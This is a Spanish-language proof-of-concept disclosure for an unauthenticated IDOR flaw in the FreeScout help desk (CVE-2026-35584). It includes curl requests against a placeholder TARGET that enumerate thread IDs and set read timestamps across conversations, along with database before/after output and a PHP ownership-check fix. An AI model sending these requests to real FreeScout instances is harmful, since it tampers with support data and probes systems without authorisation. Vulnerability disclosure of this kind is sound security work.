
Prueba de concepto de explotación para una vulnerabilidad IDOR no autenticada en FreeScout que permite la enumeración de hilos y la manipulación del estado de lectura mediante solicitudes HTTP manipuladas.
POC - CVE-2026-35584 FreeScout
El endpoint GET /thread/read/{conversation_id}/{thread_id} no requiere autenticación y no valida si el thread_id proporcionado pertenece al conversation_id dado. Esto permite que cualquier atacante no autenticado pueda:
Marcar cualquier hilo como leído pasando IDs arbitrarios Enumerar IDs de hilos válidos mediante códigos de respuesta HTTP (200 vs 404) Manipular las marcas de tiempo opened_at entre conversaciones (IDOR)
Versión afectada
1.8.211 (última)
Crear dos conversaciones (conv_id=1 y conv_id=2) Crear un hilo en la conversación 2 (thread_id=3) Sin ninguna autenticación, enviar: GET /thread/read/1/3 Verificar en la base de datos — opened_at del thread_id=3 ahora está establecido, a pesar de haberse accedido mediante el conversation_id incorrecto
curl -v "http://TARGET/thread/read/1/3"
Devuelve HTTP 200 y establece opened_at en el hilo 3
No se requiere autenticación IDOR: thread_id no se valida contra conversation_id Enumeración de hilos: HTTP 200 = hilo válido, 404 = inválido Manipulación de las métricas de leído/no leído utilizadas por los agentes de soporte Rompe el modelo de aislamiento de conversaciones
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
Enumeración de hilos (no autenticado)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (hilo válido)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (hilo válido)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - el hilo pertenece a la conversación 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (hilo inválido)
Antes: | id | conversation_id | opened_at | | 3 | 2 | NULL |
Después de GET /thread/read/1/3 (sin autenticación): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |